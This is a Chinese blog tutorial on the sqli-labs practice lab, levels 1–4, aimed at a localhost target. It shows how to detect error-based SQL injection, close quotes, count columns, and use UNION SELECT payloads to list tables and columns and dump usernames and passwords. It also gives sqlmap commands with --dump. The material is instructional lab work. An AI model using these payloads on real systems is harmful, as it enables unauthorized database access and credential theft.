基于GET报错的sql注入,sqli-lab 1~4

根据注入类型可将sql注入分为两类:数字型字符型
例如:
数字型: sleect * from table where if =用户输入id
字符型:select * from table where id ='用户输入id' (有引号)

通过URL中修改对应的D值,为正常数字,大数字,字符(单引号,双引号,双单引号,括号),反斜杠\来探测URL中是否存在注入点。

另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

sqli-lab less 1~4基于报错的sql注入:

  • less1 GET - Error based - Single quotes - String
    1.输入id值尝试报错点: ?id=数字
    发现在id值为1~14可以正常返回
    在这里插入图片描述
    2.在id值(任意可以正常返回的id值)后添加单引号,发现报错,可能存在sql字符注入,
    在这里插入图片描述

可以得到,报错的sql语句为'14'' LIMIT 0,1,输入的引号闭合了id的前引号
猜测原sql语句为: select login_name,password from admin where id = 'id' limit 0,1+

3.利用order by 判断有几列数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
修改order by 后的值可发现1~3回显正常,order by 4 回显不正常,表示表有三列

4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id=15’ UNION SELECT 1,2,3 --+
查看显示位,输出2和3说明有两个显示位
在这里插入图片描述

5.利用union select 联合查询,获取表名
0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
在这里插入图片描述

6.利用union select 联合查询,查看users表下的列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述

7.利用union select 联合查询,查看username,password表下的字段值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(0x3a表示分号)
在这里插入图片描述
得到所有的username和password

以上为手工注入过程,用sqlmap工具会更加方便快捷:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

在这里插入图片描述

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

在这里插入图片描述

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump

在这里插入图片描述
得到username和password

  1. less2.GET-Error based-intiger based
    和less1基本相同

  2. less3 : Get-errsr based-single quotes with twist-string
    id=1’ --+回显不正常
    id=1’) --+回显正常
    说明是字符型注入
    语句与less1 相同

-less4 : Get- error bassed - Double Quotes - string
id=1" 用双引号回显不正常
id=1’ 和 id=1’) 都回显正常
可推测语句为 (id=“1”)
是("")双引号闭合型
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+ 回显正常
在这里插入图片描述
之后使用union select 联合查询
显示列名,表明字段

参考:
https://blog.csdn.net/sdb5858874/article/details/80727555
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1gpig安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值